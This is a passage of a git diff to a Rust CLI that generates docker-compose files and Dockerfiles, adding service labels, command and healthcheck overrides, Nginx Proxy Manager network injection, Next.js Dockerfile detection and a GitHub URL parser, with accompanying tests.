     pub networks: Vec<String>,
+    pub labels: HashMap<String, String>,
     /// Container runtime (e.g., "kata"). None or "runc" means default.
     pub runtime: Option<String>,
+    /// Override the container CMD (docker-compose `command:`).
+    pub command: Option<String>,
+    /// Docker compose healthcheck for this service.
+    pub healthcheck: Option<ComposeHealthcheck>,
 }
 
 impl Default for ComposeService {
@@ -41,7 +46,10 @@ impl Default for ComposeService {
             depends_on: Vec::new(),
             restart: "unless-stopped".to_string(),
             networks: vec!["app-network".to_string()],
+            labels: HashMap::new(),
             runtime: None,
+            command: None,
+            healthcheck: None,
         }
     }
 }
@@ -49,15 +57,26 @@ impl Default for ComposeService {
 /// Convert a `ServiceDefinition` (from stacker.yml) into a `ComposeService`.
 impl From<&ServiceDefinition> for ComposeService {
     fn from(svc: &ServiceDefinition) -> Self {
-        Self {
+        let mut compose_service = Self {
             name: svc.name.clone(),
             image: Some(svc.image.clone()),
             ports: svc.ports.clone(),
             environment: svc.environment.clone(),
             volumes: svc.volumes.clone(),
             depends_on: svc.depends_on.clone(),
+            command: svc.command.clone(),
+            healthcheck: svc.healthcheck.clone(),
             ..Default::default()
-        }
+        };
+        crate::helpers::stacker_labels::insert_runtime_labels(
+            &mut compose_service.labels,
+            None::<String>,
+            None,
+            crate::helpers::stacker_labels::SCOPE_PROJECT,
+            &svc.name,
+            &svc.name,
+        );
+        compose_service
     }
 }
 
@@ -69,6 +88,7 @@ impl From<&ServiceDefinition> for ComposeService {
 pub struct ComposeDefinition {
     pub services: Vec<ComposeService>,
     pub networks: Vec<String>,
+    pub external_networks: Vec<String>,
     pub volumes: Vec<String>,
 }
 
@@ -77,6 +97,7 @@ impl Default for ComposeDefinition {
         Self {
             services: Vec::new(),
             networks: vec!["app-network".to_string()],
+            external_networks: Vec::new(),
             volumes: Vec::new(),
         }
     }
@@ -94,8 +115,23 @@ impl TryFrom<&StackerConfig> for ComposeDefinition {
         let mut named_volumes: Vec<String> = Vec::new();
 
         // --- Main app service ---
-        let app_service = build_app_service(config);
-        compose.services.push(app_service);
+        // A marketplace-generated config describes its whole stack in
+        // `services:` — there is no local application to build. Synthesizing an
+        // `app` service there produces a phantom `build: .stacker/Dockerfile`
+        // whose context is never shipped to the remote host, failing the
+        // deploy with "lstat /home/.../.stacker: no such file or directory".
+        // Skip it unless the app section carries an explicit source.
+        if config_has_buildable_app(config) {
+            let app_service = build_app_service(config);
+            for vol in &app_service.volumes {
+                if let Some(named) = extract_named_volume(vol) {
+                    if !named_volumes.contains(&named) {
+                        named_volumes.push(named);
+                    }
+                }
+            }
+            compose.services.push(app_service);
+        }
 
         // --- Additional services (databases, caches, etc.) ---
         for svc_def in &config.services {
@@ -121,6 +157,33 @@ impl TryFrom<&StackerConfig> for ComposeDefinition {
         // --- Set top-level volumes ---
         compose.volumes = named_volumes;
 
+        // --- Auto-inject default_network for NginxProxyManager-proxied services ---
+        if config.proxy.proxy_type == ProxyType::NginxProxyManager
+            && !config.proxy.domains.is_empty()
+        {
+            let proxied: Vec<String> = config
+                .proxy
+                .domains
+                .iter()
+                .filter_map(|d| upstream_service_name_from_domain(d))
+                .collect();
+
+            let mut injected = false;
+            for svc in compose.services.iter_mut() {
+                if proxied.contains(&svc.name)
+                    && !svc.networks.contains(&"default_network".to_string())
+                {
+                    svc.networks.push("default_network".to_string());
+                    injected = true;
+                }
+            }
+            if injected {
+                compose
+                    .external_networks
+                    .push("default_network".to_string());
+            }
+        }
+
         Ok(compose)
     }
 }
@@ -129,11 +192,57 @@ impl TryFrom<&StackerConfig> for ComposeDefinition {
 // Internal construction helpers (SRP: each builds one aspect)
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 
+/// Whether the config's `app` section should be materialized as a service.
+///
+/// `app` is a non-optional field, so every config carries a default `AppSource`
+/// even when none was declared. Synthesizing a service from that default yields
+/// a phantom `app` that builds from `.stacker/Dockerfile` — a context that
+/// doesn't exist for a services-only stack (a marketplace stack, or a
+/// hand-written `stacker.yml` with only `services:`), failing the remote deploy
+/// with "lstat .../.stacker: no such file or directory".
+///
+/// The app is materialized when:
+/// - it declares an explicit source (`image` / `dockerfile` / `build`), or
+/// - the source config actually declared an `app:` section (`app_present`), or
+/// - there are no services to deploy (keep it so the compose isn't empty).
+///
+/// This is origin-independent: it fixes both marketplace-generated and
+/// user-authored services-only configs.
+fn config_has_buildable_app(config: &StackerConfig) -> bool {
+    if config.app.image.is_some() || config.app.dockerfile.is_some() || config.app.build.is_some() {
+        return true;
+    }
+    if config.app_present {
+        return true;
+    }
+    config.services.is_empty()
+}
+
 fn build_app_service(config: &StackerConfig) -> ComposeService {
     let mut svc = ComposeService {
         name: "app".to_string(),
         ..Default::default()
     };
+    // The compose service (and its DNS name) stays `app` so intra-project
+    // references keep working, but the `my.stacker.service` label carries the
+    // project code so the status-panel agent can resolve this container by the
+    // app code it queries with (`stacker pipe scan --app <code>`). Previously
+    // this was hardcoded to "app" and never matched the project code.
+    let app_code = crate::helpers::stacker_labels::sanitize_service_code(
+        config
+            .project
+            .identity
+            .as_deref()
+            .unwrap_or(config.name.as_str()),
+    );
+    crate::helpers::stacker_labels::insert_runtime_labels(
+        &mut svc.labels,
+        None::<String>,
+        None,
+        crate::helpers::stacker_labels::SCOPE_PROJECT,
+        &app_code,
+        "app",
+    );
 
     // If user specifies an image directly, use it.
     if let Some(ref img) = config.app.image {
@@ -157,6 +266,12 @@ fn build_app_service(config: &StackerConfig) -> ComposeService {
     // Volumes from app section
     svc.volumes.extend(config.app.volumes.clone());
 
+    // Command override from app section
+    svc.command = config.app.command.clone();
+
+    // Healthcheck from app section
+    svc.healthcheck = config.app.healthcheck.clone();
+
     // Merge environment: top-level env first, then app-level (app wins)
     for (k, v) in &config.env {
         svc.environment.insert(k.clone(), v.clone());
@@ -195,7 +310,7 @@ fn build_proxy_service(config: &StackerConfig) -> Option<ComposeService> {
             Some(svc)
         }
         ProxyType::NginxProxyManager => {
-            let svc = ComposeService {
+            let mut svc = ComposeService {
                 name: "proxy-manager".to_string(),
                 image: Some("jc21/nginx-proxy-manager:latest".to_string()),
                 ports: vec![
@@ -206,6 +321,14 @@ fn build_proxy_service(config: &StackerConfig) -> Option<ComposeService> {
                 depends_on: vec!["app".to_string()],
                 ..Default::default()
             };
+            crate::helpers::stacker_labels::insert_runtime_labels(
+                &mut svc.labels,
+                None::<String>,
+                None,
+                crate::helpers::stacker_labels::SCOPE_PLATFORM,
+                "nginx_proxy_manager",
+                "nginx-proxy-manager",
+            );
             Some(svc)
         }
         ProxyType::Traefik => {
@@ -224,6 +347,21 @@ fn build_proxy_service(config: &StackerConfig) -> Option<ComposeService> {
     }
 }
 
+/// Extract the service (host) name from a DomainConfig upstream like `svc:3000` or `http://svc:3000`.
+fn upstream_service_name_from_domain(domain: &DomainConfig) -> Option<String> {
+    let s = domain
+        .upstream
+        .trim_start_matches("https://")
+        .trim_start_matches("http://");
+    let host = s.split('/').next()?;
+    let name = host.split(':').next()?;
+    if name.is_empty() {
+        None
+    } else {
+        Some(name.to_string())
+    }
+}
+
 /// Extract a named volume from a volume string like "my-data:/var/lib/data".
 /// Returns `None` for bind mounts (starting with `.` or `/`).
 fn extract_named_volume(vol_str: &str) -> Option<String> {
@@ -237,6 +375,14 @@ fn extract_named_volume(vol_str: &str) -> Option<String> {
     None
 }
 
+/// Quote a value for YAML output by wrapping it in double quotes.
+///
+/// This handles strings that contain spaces, colons, or special characters
+/// that would otherwise break YAML parsing (e.g. `command:`, `healthcheck.test:`).
+fn yaml_quote(value: &str) -> String {
+    format!("\"{}\"", value.replace('\\', "\\\\").replace('"', "\\\""))
+}
+
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // Rendering — produce docker-compose YAML string
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -285,6 +431,10 @@ impl ComposeDefinition {
                 }
             }
 
+            if let Some(ref cmd) = svc.command {
+                out.push_str(&format!("    command: {}\n", yaml_quote(cmd)));
+            }
+
             if !svc.volumes.is_empty() {
                 out.push_str("    volumes:\n");
                 for v in &svc.volumes {
@@ -299,6 +449,14 @@ impl ComposeDefinition {
                 }
             }
 
+            if let Some(ref hc) = svc.healthcheck {
+                out.push_str("    healthcheck:\n");
+                out.push_str(&format!("      test: {}\n", yaml_quote(&hc.test)));
+                out.push_str(&format!("      interval: {}\n", hc.interval));
+                out.push_str(&format!("      timeout: {}\n", hc.timeout));
+                out.push_str(&format!("      retries: {}\n", hc.retries));
+            }
+
             out.push_str(&format!("    restart: {}\n", svc.restart));
 
             if !svc.networks.is_empty() {
@@ -308,15 +466,27 @@ impl ComposeDefinition {
                 }
             }
 
+            if !svc.labels.is_empty() {
+                out.push_str("    labels:\n");
+                let mut keys: Vec<&String> = svc.labels.keys().collect();
+                keys.sort();
+                for k in keys {
+                    out.push_str(&format!("      {}: \"{}\"\n", k, svc.labels[k]));
+                }
+            }
+
             out.push('\n');
         }
 
         // Top-level networks
-        if !self.networks.is_empty() {
+        if !self.networks.is_empty() || !self.external_networks.is_empty() {
             out.push_str("networks:\n");
             for n in &self.networks {
                 out.push_str(&format!("  {}:\n    driver: bridge\n", n));
             }
+            for n in &self.external_networks {
+                out.push_str(&format!("  {}:\n    external: true\n", n));
+            }
             out.push('\n');
         }
 
@@ -360,7 +530,7 @@ impl fmt::Display for ComposeDefinition {
 mod tests {
     use super::*;
     use crate::cli::config_parser::{
-        AppSource, ConfigBuilder, DeployConfig, ProxyConfig, SslMode,
+        AppSource, ConfigBuilder, ConfigOrigin, DeployConfig, DomainConfig, ProxyConfig, SslMode,
     };
     use std::collections::HashMap;
 
@@ -381,6 +551,29 @@ mod tests {
         assert!(compose.services[0].ports.contains(&"80:80".to_string()));
     }
 
+    #[test]
+    fn app_service_label_carries_project_code_not_hardcoded_app() {
+        let config = minimal_config(AppType::Static);
+        let compose = ComposeDefinition::try_from(&config).unwrap();
+        let app = &compose.services[0];
+        // Service name and DNS stay "app" so intra-project references keep working.
+        assert_eq!(app.name, "app");
+        assert_eq!(
+            app.labels
+                .get(crate::helpers::stacker_labels::DNS)
+                .map(String::as_str),
+            Some("app")
+        );
+        // The agent-resolution label carries the project code, not "app", so
+        // `stacker pipe scan --app <code>` can resolve this container.
+        assert_eq!(
+            app.labels
+                .get(crate::helpers::stacker_labels::SERVICE)
+                .map(String::as_str),
+            Some("test-app")
+        );
+    }
+
     #[test]
     fn test_compose_from_node_config() {
         let config = minimal_config(AppType::Node);
@@ -404,6 +597,116 @@ mod tests {
         assert!(app.image.is_none());
     }
 
+    fn service_names(config: &StackerConfig) -> Vec<String> {
+        ComposeDefinition::try_from(config)
+            .unwrap()
+            .services
+            .iter()
+            .map(|s| s.name.clone())
+            .collect()
+    }
+
+    // A services-only config with no `app:` section must NOT get a phantom
+    // `app` (which would build from an unshipped `.stacker/Dockerfile`). This
+    // holds regardless of origin — both a hand-written user config (e.g.
+    // screego) and a marketplace-generated one.
+    #[test]
+    fn services_only_config_without_app_section_omits_phantom_app() {
+        let yaml = "\
+name: screego
+services:
+  screego:
+    image: screego/server:latest
+    ports:
+      - \"5050:5050\"
+";
+        let config = StackerConfig::from_str(yaml).unwrap();
+        assert!(!config.app_present);
+        let names = service_names(&config);
+        assert!(
+            !names.contains(&"app".to_string()),
+            "services-only config must not synthesize an app service, got {:?}",
+            names
+        );
+        assert!(names.contains(&"screego".to_string()));
+    }
+
+    // Same shape, but marketplace-origin (the ghost case) — identical result.
+    #[test]
+    fn marketplace_services_only_config_omits_phantom_app() {
+        let yaml = "\
+# @stacker-origin: marketplace
+name: ghost
+services:
+  ghost:
+    image: ghost:5-alpine
+    ports:
+      - \"2368:2368\"
+";
+        let config = StackerConfig::from_str(yaml).unwrap();
+        assert_eq!(config.origin, ConfigOrigin::MarketplaceGenerated);
+        assert!(!config.app_present);
+        let names = service_names(&config);
+        assert!(!names.contains(&"app".to_string()));
+        assert!(names.contains(&"ghost".to_string()));
+    }
+
+    // An explicit `app:` section is always honored, even alongside services.
+    #[test]
+    fn config_with_declared_app_section_keeps_app() {
+        let yaml = "\
+name: myproj
+app:
+  type: node
+services:
+  db:
+    image: postgres:16
+";
+        let config = StackerConfig::from_str(yaml).unwrap();
+        assert!(config.app_present);
+        let names = service_names(&config);
+        assert!(
+            names.contains(&"app".to_string()),
+            "declared app must be kept: {:?}",
+            names
+        );
+        assert!(names.contains(&"db".to_string()));
+    }
+
+    // An explicit image source keeps the app even without an `app:` key path
+    // through the builder.
+    #[test]
+    fn config_with_explicit_app_image_keeps_app_service() {
+        let mut config = minimal_config(AppType::Static);
+        config.app_present = false; // simulate no declared app: section
+        config.app.image = Some("myorg/app:1.0".to_string());
+        config.services = vec![ServiceDefinition {
+            name: "db".to_string(),
+            image: "postgres:16".to_string(),
+            ports: vec![],
+            environment: HashMap::new(),
+            volumes: vec![],
+            depends_on: vec![],
+            command: None,
+            healthcheck: None,
+        }];
+
+        let names = service_names(&config);
+        assert!(names.contains(&"app".to_string()));
+        assert!(names.contains(&"db".to_string()));
+    }
+
+    // No services and no app declared: keep the fallback app so the compose is
+    // never empty.
+    #[test]
+    fn config_without_services_or_app_keeps_app_fallback() {
+        let yaml = "name: bare\n";
+        let config = StackerConfig::from_str(yaml).unwrap();
+        assert!(!config.app_present);
+        assert!(config.services.is_empty());
+        assert!(service_names(&config).contains(&"app".to_string()));
+    }
+
     #[test]
     fn test_compose_app_service_with_explicit_image() {
         let config = ConfigBuilder::new()
@@ -427,6 +730,8 @@ mod tests {
             environment: HashMap::from([("POSTGRES_PASSWORD".into(), "secret".into())]),
             volumes: vec!["pg-data:/var/lib/postgresql/data".into()],
             depends_on: Vec::new(),
+            command: None,
+            healthcheck: None,
         };
         let config = ConfigBuilder::new()
             .name("with-db")
@@ -490,10 +795,7 @@ mod tests {
         let compose = ComposeDefinition::try_from(&config).unwrap();
         let traefik = compose.services.iter().find(|s| s.name == "traefik");
         assert!(traefik.is_some());
-        assert_eq!(
-            traefik.unwrap().image.as_deref(),
-            Some("traefik:v2.10")
-        );
+        assert_eq!(traefik.unwrap().image.as_deref(), Some("traefik:v2.10"));
     }
 
     #[test]
@@ -531,6 +833,8 @@ mod tests {
             environment: HashMap::new(),
             volumes: vec!["redis-data:/data".into()],
             depends_on: Vec::new(),
+            command: None,
+            healthcheck: None,
         };
         let config = ConfigBuilder::new()
             .name("with-vol")
@@ -557,8 +861,14 @@ mod tests {
 
         let compose = ComposeDefinition::try_from(&config).unwrap();
         let app = &compose.services[0];
-        assert_eq!(app.environment.get("NODE_ENV").map(|s| s.as_str()), Some("production"));
-        assert_eq!(app.environment.get("LOG_LEVEL").map(|s| s.as_str()), Some("debug"));
+        assert_eq!(
+            app.environment.get("NODE_ENV").map(|s| s.as_str()),
+            Some("production")
+        );
+        assert_eq!(
+            app.environment.get("LOG_LEVEL").map(|s| s.as_str()),
+            Some("debug")
+        );
     }
 
     #[test]
@@ -603,6 +913,8 @@ mod tests {
             environment: HashMap::from([("MYSQL_ROOT_PASSWORD".into(), "pass".into())]),
             volumes: vec!["mysql-data:/var/lib/mysql".into()],
             depends_on: Vec::new(),
+            command: None,
+            healthcheck: None,
         };
 
         let compose_svc = ComposeService::from(&svc_def);
@@ -610,11 +922,96 @@ mod tests {
         assert_eq!(compose_svc.image.as_deref(), Some("mysql:8"));
         assert!(compose_svc.ports.contains(&"3306:3306".to_string()));
         assert_eq!(
-            compose_svc.environment.get("MYSQL_ROOT_PASSWORD").map(|s| s.as_str()),
+            compose_svc
+                .environment
+                .get("MYSQL_ROOT_PASSWORD")
+                .map(|s| s.as_str()),
             Some("pass")
         );
     }
 
+    #[test]
+    fn service_definition_adds_project_scope_labels() {
+        let svc_def = ServiceDefinition {
+            name: "smtp".into(),
+            image: "trydirect/smtp:latest".into(),
+            ports: Vec::new(),
+            environment: HashMap::new(),
+            volumes: Vec::new(),
+            depends_on: Vec::new(),
+            command: None,
+            healthcheck: None,
+        };
+
+        let compose_svc = ComposeService::from(&svc_def);
+
+        assert_eq!(
+            compose_svc
+                .labels
+                .get(crate::helpers::stacker_labels::SCOPE)
+                .map(String::as_str),
+            Some("project")
+        );
+        assert_eq!(
+            compose_svc
+                .labels
+                .get(crate::helpers::stacker_labels::SERVICE)
+                .map(String::as_str),
+            Some("smtp")
+        );
+        assert_eq!(
+            compose_svc
+                .labels
+                .get(crate::helpers::stacker_labels::DNS)
+                .map(String::as_str),
+            Some("smtp")
+        );
+    }
+
+    #[test]
+    fn app_named_volumes_appear_in_top_level_volumes_block() {
+        let config = ConfigBuilder::new()
+            .name("rustfs")
+            .app_type(AppType::Custom)
+            .app_image("rustfs/rustfs:latest")
+            .app_volumes(vec![
+                "rustfs_data:/data".into(),
+                "rustfs_logs:/app/logs".into(),
+                "./local-config:/etc/config:ro".into(), // bind mount — must NOT appear
+            ])
+            .build()
+            .unwrap();
+
+        let compose = ComposeDefinition::try_from(&config).unwrap();
+
+        assert!(
+            compose.volumes.contains(&"rustfs_data".to_string()),
+            "rustfs_data should be in top-level volumes"
+        );
+        assert!(
+            compose.volumes.contains(&"rustfs_logs".to_string()),
+            "rustfs_logs should be in top-level volumes"
+        );
+        assert!(
+            !compose.volumes.contains(&"./local-config".to_string()),
+            "bind mount should not appear in top-level volumes"
+        );
+
+        let yaml = compose.render();
+        assert!(
+            yaml.contains("volumes:"),
+            "top-level volumes: block must exist"
+        );
+        assert!(
+            yaml.contains("  rustfs_data:"),
+            "rustfs_data entry must appear"
+        );
+        assert!(
+            yaml.contains("  rustfs_logs:"),
+            "rustfs_logs entry must appear"
+        );
+    }
+
     #[test]
     fn test_extract_named_volume_returns_name() {
         assert_eq!(
@@ -644,13 +1041,28 @@ mod tests {
             .unwrap();
 
         let compose = ComposeDefinition::try_from(&config).unwrap();
-        let npm = compose
-            .services
-            .iter()
-            .find(|s| s.name == "proxy-manager");
+        let npm = compose.services.iter().find(|s| s.name == "proxy-manager");
         assert!(npm.is_some());
         let npm = npm.unwrap();
         assert!(npm.ports.contains(&"81:81".to_string())); // NPM admin port
+        assert_eq!(
+            npm.labels
+                .get(crate::helpers::stacker_labels::SCOPE)
+                .map(String::as_str),
+            Some("platform")
+        );
+        assert_eq!(
+            npm.labels
+                .get(crate::helpers::stacker_labels::SERVICE)
+                .map(String::as_str),
+            Some("nginx_proxy_manager")
+        );
+        assert_eq!(
+            npm.labels
+                .get(crate::helpers::stacker_labels::DNS)
+                .map(String::as_str),
+            Some("nginx-proxy-manager")
+        );
     }
 
     #[test]
@@ -664,6 +1076,7 @@ mod tests {
         let def = ComposeDefinition {
             services: vec![svc],
             networks: vec!["app-network".to_string()],
+            external_networks: vec![],
             volumes: vec![],
         };
         let output = def.render();
@@ -685,6 +1098,7 @@ mod tests {
         let def = ComposeDefinition {
             services: vec![svc],
             networks: vec!["app-network".to_string()],
+            external_networks: vec![],
             volumes: vec![],
         };
         let output = def.render();
@@ -695,6 +1109,128 @@ mod tests {
         );
     }
 
+    #[test]
+    fn npm_proxy_injects_default_network_into_proxied_service() {
+        let svc = ServiceDefinition {
+            name: "api".into(),
+            image: "myapp:latest".into(),
+            ports: vec!["8080:8080".into()],
+            environment: Default::default(),
+            volumes: vec![],
+            depends_on: vec![],
+            command: None,
+            healthcheck: None,
+        };
+        let config = ConfigBuilder::new()
+            .name("npm-proxied")
+            .app_type(AppType::Node)
+            .add_service(svc)
+            .proxy(ProxyConfig {
+                proxy_type: ProxyType::NginxProxyManager,
+                auto_detect: false,
+                domains: vec![DomainConfig {
+                    domain: "api.example.com".into(),
+                    ssl: SslMode::Auto,
+                    upstream: "api:8080".into(),
+                }],
+                config: None,
+            })
+            .build()
+            .unwrap();
+
+        let compose = ComposeDefinition::try_from(&config).unwrap();
+        let api_svc = compose.services.iter().find(|s| s.name == "api").unwrap();
+        assert!(
+            api_svc.networks.contains(&"default_network".to_string()),
+            "proxied service should have default_network, got: {:?}",
+            api_svc.networks
+        );
+        assert!(
+            compose
+                .external_networks
+                .contains(&"default_network".to_string()),
+            "default_network should be declared as external"
+        );
+        let yaml = compose.render();
+        assert!(
+            yaml.contains("external: true"),
+            "rendered YAML should declare default_network external:\n{yaml}"
+        );
+    }
+
+    #[test]
+    fn npm_proxy_does_not_inject_into_unproxied_service() {
+        let smtp = ServiceDefinition {
+            name: "smtp".into(),
+            image: "trydirect/smtp".into(),
+            ports: vec![],
+            environment: Default::default(),
+            volumes: vec![],
+            depends_on: vec![],
+            command: None,
+            healthcheck: None,
+        };
+        let config = ConfigBuilder::new()
+            .name("partial-proxy")
+            .app_type(AppType::Node)
+            .add_service(smtp)
+            .proxy(ProxyConfig {
+                proxy_type: ProxyType::NginxProxyManager,
+                auto_detect: false,
+                domains: vec![DomainConfig {
+                    domain: "app.example.com".into(),
+                    ssl: SslMode::Off,
+                    upstream: "app:3000".into(),
+                }],
+                config: None,
+            })
+            .build()
+            .unwrap();
+
+        let compose = ComposeDefinition::try_from(&config).unwrap();
+        let smtp_svc = compose.services.iter().find(|s| s.name == "smtp").unwrap();
+        assert!(
+            !smtp_svc.networks.contains(&"default_network".to_string()),
+            "unproxied service should not get default_network"
+        );
+    }
+
+    #[test]
+    fn non_npm_proxy_does_not_inject_default_network() {
+        let svc = ServiceDefinition {
+            name: "web".into(),
+            image: "nginx:latest".into(),
+            ports: vec![],
+            environment: Default::default(),
+            volumes: vec![],
+            depends_on: vec![],
+            command: None,
+            healthcheck: None,
+        };
+        let config = ConfigBuilder::new()
+            .name("traefik-app")
+            .app_type(AppType::Node)
+            .add_service(svc)
+            .proxy(ProxyConfig {
+                proxy_type: ProxyType::Traefik,
+                auto_detect: false,
+                domains: vec![DomainConfig {
+                    domain: "web.example.com".into(),
+                    ssl: SslMode::Auto,
+                    upstream: "web:80".into(),
+                }],
+                config: None,
+            })
+            .build()
+            .unwrap();
+
+        let compose = ComposeDefinition::try_from(&config).unwrap();
+        assert!(
+            compose.external_networks.is_empty(),
+            "Traefik proxy should not inject default_network"
+        );
+    }
+
     #[test]
     fn render_excludes_runtime_when_none() {
         let svc = ComposeService {
@@ -706,6 +1242,7 @@ mod tests {
         let def = ComposeDefinition {
             services: vec![svc],
             networks: vec!["app-network".to_string()],
+            external_networks: vec![],
             volumes: vec![],
         };
         let output = def.render();
diff --git a/src/cli/generator/dockerfile.rs b/src/cli/generator/dockerfile.rs
index 2ec6f42b..eb8ed2da 100644
--- a/src/cli/generator/dockerfile.rs
+++ b/src/cli/generator/dockerfile.rs
@@ -1,7 +1,9 @@
 use std::fmt;
+use std::path::Path;
 
 use crate::cli::config_parser::AppType;
 use crate::cli::error::CliError;
+use serde::Deserialize;
 
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // DockerfileBuilder — generates Dockerfiles from AppType
@@ -114,6 +116,41 @@ impl DockerfileBuilder {
         Self::default()
     }
 
+    pub fn for_project(project_dir: &Path, app_type: AppType) -> Self {
+        match app_type {
+            AppType::Node => {
+                Self::for_node_project(project_dir).unwrap_or_else(|| Self::from(app_type))
+            }
+            _ => Self::from(app_type),
+        }
+    }
+
+    fn for_node_project(project_dir: &Path) -> Option<Self> {
+        let package_json = std::fs::read_to_string(project_dir.join("package.json")).ok()?;
+        let manifest: NodePackageManifest = serde_json::from_str(&package_json).ok()?;
+        let has_next_dependency = manifest.dependencies.contains_key("next")
+            || manifest.dev_dependencies.contains_key("next");
+        let has_build_script = manifest.scripts.contains_key("build");
+        let has_start_script = manifest.scripts.contains_key("start");
+
+        if has_next_dependency && has_build_script && has_start_script {
+            return Some(
+                Self::default()
+                    .base_image("node:20-alpine")
+                    .work_dir("/app")
+                    .env("NEXT_TELEMETRY_DISABLED", "1")
+                    .copy("package*.json", "./")
+                    .run("npm ci")
+                    .copy(".", ".")
+                    .run("npm run build")
+                    .expose(3000)
+                    .cmd(vec!["npm".into(), "run".into(), "start".into()]),
+            );
+        }
+
+        None
+    }
+
     pub fn base_image<S: Into<String>>(mut self, image: S) -> Self {
         self.base_image = image.into();
         self
@@ -248,11 +285,7 @@ impl DockerfileBuilder {
     }
 
     /// Write Dockerfile to a path. Returns error if file already exists.
-    pub fn write_to(
-        &self,
-        path: &std::path::Path,
-        overwrite: bool,
-    ) -> Result<(), CliError> {
+    pub fn write_to(&self, path: &std::path::Path, overwrite: bool) -> Result<(), CliError> {
         if !overwrite && path.exists() {
             return Err(CliError::DockerfileExists {
                 path: path.to_path_buf(),
@@ -264,6 +297,16 @@ impl DockerfileBuilder {
     }
 }
 
+#[derive(Debug, Default, Deserialize)]
+struct NodePackageManifest {
+    #[serde(default)]
+    scripts: std::collections::BTreeMap<String, serde_json::Value>,
+    #[serde(default)]
+    dependencies: std::collections::BTreeMap<String, serde_json::Value>,
+    #[serde(default, rename = "devDependencies")]
+    dev_dependencies: std::collections::BTreeMap<String, serde_json::Value>,
+}
+
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // Display — pretty-print Dockerfile to stdout
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -427,12 +470,55 @@ mod tests {
         assert!(written.contains("FROM node:20-alpine"));
     }
 
+    #[test]
+    fn test_project_aware_nextjs_node_dockerfile() {
+        let dir = tempfile::tempdir().unwrap();
+        std::fs::write(
+            dir.path().join("package.json"),
+            r#"{
+              "scripts": {
+                "build": "next build",
+                "start": "next start -H 0.0.0.0 -p ${PORT:-3000}"
+              },
+              "dependencies": {
+                "next": "16.2.6"
+              }
+            }"#,
+        )
+        .unwrap();
+
+        let content = DockerfileBuilder::for_project(dir.path(), AppType::Node).build();
+        assert!(content.contains("RUN npm ci"));
+        assert!(content.contains("RUN npm run build"));
+        assert!(content.contains("CMD [\"npm\", \"run\", \"start\"]"));
+        assert!(content.contains("ENV NEXT_TELEMETRY_DISABLED=1"));
+        assert!(!content.contains("CMD [\"node\", \"server.js\"]"));
+    }
+
+    #[test]
+    fn test_project_aware_node_falls_back_without_nextjs_hints() {
+        let dir = tempfile::tempdir().unwrap();
+        std::fs::write(
+            dir.path().join("package.json"),
+            r#"{
+              "scripts": {
+                "start": "node index.js"
+              },
+              "dependencies": {
+                "express": "^5.0.0"
+              }
+            }"#,
+        )
+        .unwrap();
+
+        let content = DockerfileBuilder::for_project(dir.path(), AppType::Node).build();
+        assert!(content.contains("RUN npm ci --production"));
+        assert!(content.contains("CMD [\"node\", \"server.js\"]"));
+    }
+
     #[test]
     fn test_multiple_expose_ports() {
-        let content = DockerfileBuilder::new()
-            .expose(80)
-            .expose(443)
-            .build();
+        let content = DockerfileBuilder::new().expose(80).expose(443).build();
         assert!(content.contains("EXPOSE 80"));
         assert!(content.contains("EXPOSE 443"));
     }
diff --git a/src/cli/github_fetcher.rs b/src/cli/github_fetcher.rs
new file mode 100644
index 00000000..cc8bffdf
--- /dev/null
+++ b/src/cli/github_fetcher.rs
@@ -0,0 +1,357 @@
+use crate::cli::config_parser::ComposeHealthcheck;
+use crate::cli::error::CliError;
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// GitHub URL parsing
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+pub fn parse_github_url(url: &str) -> Result<(String, String), CliError> {
+    let trimmed = url.trim().trim_end_matches('/').trim_end_matches(".git");
+
+    // Handle full HTTPS URL: https://github.com/owner/repo
+    if trimmed.starts_with("https://github.com/") || trimmed.starts_with("http://github.com/") {
+        let path = trimmed
+            .split("github.com/")
+            .nth(1)
+            .unwrap_or("")
+            .trim_start_matches('/');
+        let parts: Vec<&str> = path.split('/').filter(|s| !s.is_empty()).collect();
+        if parts.len() < 2 {
+            return Err(CliError::ConfigValidation(format!(
+                "Invalid GitHub URL '{}'. Expected format: https://github.com/owner/repo or owner/repo",
+                url
+            )));
+        }
+        return Ok((parts[0].to_string(), parts[1].to_string()));
+    }
+
+    // Handle shorthand: owner/repo
+    let parts: Vec<&str> = trimmed.split('/').filter(|s| !s.is_empty()).collect();
+    if parts.len() == 2 {
+        return Ok((parts[0].to_string(), parts[1].to_string()));
+    }
+
+    Err(CliError::ConfigValidation(format!(
+        "Invalid GitHub URL '{}'. Expected format: https://github.com/owner/repo or owner/repo",
+        url
+    )))
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Infrastructure image classification
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+const INFRA_IMAGE_PREFIXES: &[&str] = &[
+    "postgres",
+    "mysql",
+    "mariadb",
+    "redis",
+    "mongo",
+    "rabbitmq",
+    "memcached",
+    "minio/",
+    "bitnami/postgresql",
+    "bitnami/mysql",
+    "bitnami/redis",
+    "clickhouse/",
+    "otel/",
+    "opentelemetry/",
+    "grafana/",
+    "prom/",
+    "prometheus",
+    "nginx",
+    "traefik",
+    "caddy",
+    "jc21/nginx-proxy-manager",
+    "elasticsearch",
+    "kibana",
+    "logstash",
+];
+
+pub fn is_infra_image(image: &str) -> bool {
+    let lower = image.to_lowercase();
+    let name_only = lower.split(':').next().unwrap_or(&lower);
+
+    INFRA_IMAGE_PREFIXES
+        .iter()
+        .any(|prefix| name_only.starts_with(prefix))
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Default healthchecks for infra services
